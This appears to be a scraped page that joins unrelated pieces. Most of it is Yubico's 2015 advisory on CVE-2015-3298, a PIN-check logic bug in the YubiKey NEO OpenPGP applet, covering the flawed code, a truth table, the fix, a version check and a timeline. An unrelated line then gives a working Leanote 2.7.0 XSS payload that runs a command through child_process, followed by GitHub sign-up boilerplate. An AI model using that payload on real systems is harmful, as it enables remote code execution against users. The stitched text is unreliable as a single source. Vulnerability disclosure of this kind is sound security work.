Note that the private key is not at jeopardy, and malware cannot learn the private key — this is in fact the primary threat that the OpenPGP card specification protects against.

**Analysis**

The following description is courtesy of Joey Castillo.

The bug appears to be a typo in the first line of the computeDigitalSignature, decipher and internalAuthenticate methods. The goal of each is to establish that the PW1 has been validated, AND the proper mode has been set (mode 81 for signing, mode 82 for everything else). According to the spec, if either of these conditions are not satisfied, the security operation should not proceed.

The application mangles this a bit, as you can see in line 628:

if (!pw1.isValidated() && pw1\_modes\[PW1\_MODE\_NO81\])
    ISOException.throwIt(SW\_SECURITY\_STATUS\_NOT\_SATISFIED);
// otherwise execution continues

This truth table shows the outcome of the conditional, and the two cases where the logic fails:

     

Case

PIN valid

Mode 81

!(PIN valid)

Result

Outcome

1

true

true

false

false

No exception

2

false

true

true

true

Exception thrown

3

true

false

false

false

No exception (Incorrect)

4

false

false

true

false

No exception (Incorrect)

I discovered this bug due to case #3: OpenKeychain for Android mistakenly verifies the PIN with mode 82 for signing, which should not allow a signature to be generated. The Yubikey generates a signature anyway.

The dire case is #4: when the card is powered up, the PIN has not been validated, and both modes are set to false. In this state, the card will issue a signature even though the PIN has not been validated. The same bug is present in the decipher command (line 659) and the internalAuthenticate command (line 683), just with the mode set to 82. This means the card will also decrypt session keys and authenticate challenges unconditionally.

**Solution**

This is also courtesy of Joey Castillo.

The fix is to change each of the conditionals to the following:

if (!pw1.isValidated() || !pw1\_modes\[PW1\_MODE\_NO8x\])
    ISOException.throwIt(SW\_SECURITY\_STATUS\_NOT\_SATISFIED);
// otherwise execution continues

This way, if the PIN has not been validated, OR the proper mode has not been set, an exception is thrown. Execution is only allowed to continue if both conditions are true.

This fix has been integrated into ykneo-openpgp and is part of the version 1.0.9 release, but read on for some information about 1.0.10.

**How to check if you are affected**

Versions below 1.0.9 are affected by this problem. Unfortunately, some YubiKey NEOs shipped with a 1.0.9 release that did not contain the fix. To simplify version checking, we have released 1.0.10 and NEOs using that version is known to always include the fix. To be certain that your NEO has the fixed ykneo-openpgp applet installed, look for a version of 1.0.10 or later.

You may check the applet version with the following command.

 gpg-connect-agent --hex "scd apdu 00 f1 00 00" /bye
 D\[0000\]  01 00 06 90 00                                     .....
 OK

The string "01 00 06" means version 1.0.6, which would be affected by this problem.

**Recommendation**

The logical flaw is real and violates assumption of how the OpenPGP applet works in principle. However its practical consequences are relatively small as a successful attack requires other privileged operations (such as local root access) that are normally not available to an attacker, and would have undermined the security anyway.

Regardless of this assessment, Yubico has decided to replace YubiKey NEO keys for those who are using the OpenPGP applet version 1.0.9 or earlier. This replacement program began on April 26, 2015. **Update: This replacement program ended on April 18, 2019.**

Therefore, we don't see any immediate need for users to upgrade existing deployed products. We will incorporate the improved code in future products sold, and add self-tests to our software project to detect any regression in this area.

For stolen devices, we continue to recommend users to follow best-practices and revoke the key as a conservative measure.

As we take all security related incidents seriously we have prepared a prompt security advisory and released all information about this incident that we know about. We welcome further analysis of the source code, as this will over time increase confidence in the product, and is the reason the source is available.

If you have additional inquiries related to your YubiKey NEO purchase, please contact your sales contact for further discussion.

This defect was present in the code we inherited from the “javacardopenpgp” project, and that project has been notified. There may be other forks, public or not, and we recommend the community to review other code with the same origin.

**History of events**

*   2015-04-11 Reported by Joey Castillo.
    
*   2015-04-11 Version 1 of security advisory circulated for review.
    
*   2015-04-13 Mitre assigned id for vulnerability as CVE-2015-3298.
    
*   2015-04-13 Upstream project “javacardopenpgp” notified.
    
*   2015-04-14 Security advisory published.
    
*   2015-04-20 Some 1.0.9 NEOs were shipped without the fix, text updated to recommend looking for 1.0.10 as a better minimum version.
    
*   2015-04-27 Add an update about Yubico replacement policy.
    
*   2019-04-18 Remove the update about Yubico replacement policy.
    
*   2019-05-02 Clarify previous update, adding date of policy expiration.

CVE-2015-3298: SecurityAdvisory 2015-04-14

Leanote 2.7.0 is vulnerable to Cross Site Scripting (XSS) in the markdown type note. This leads to remote code execution with payload : <video src=x onerror=(function(){require('child_process').exec('calc');})();>

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Tag

#apple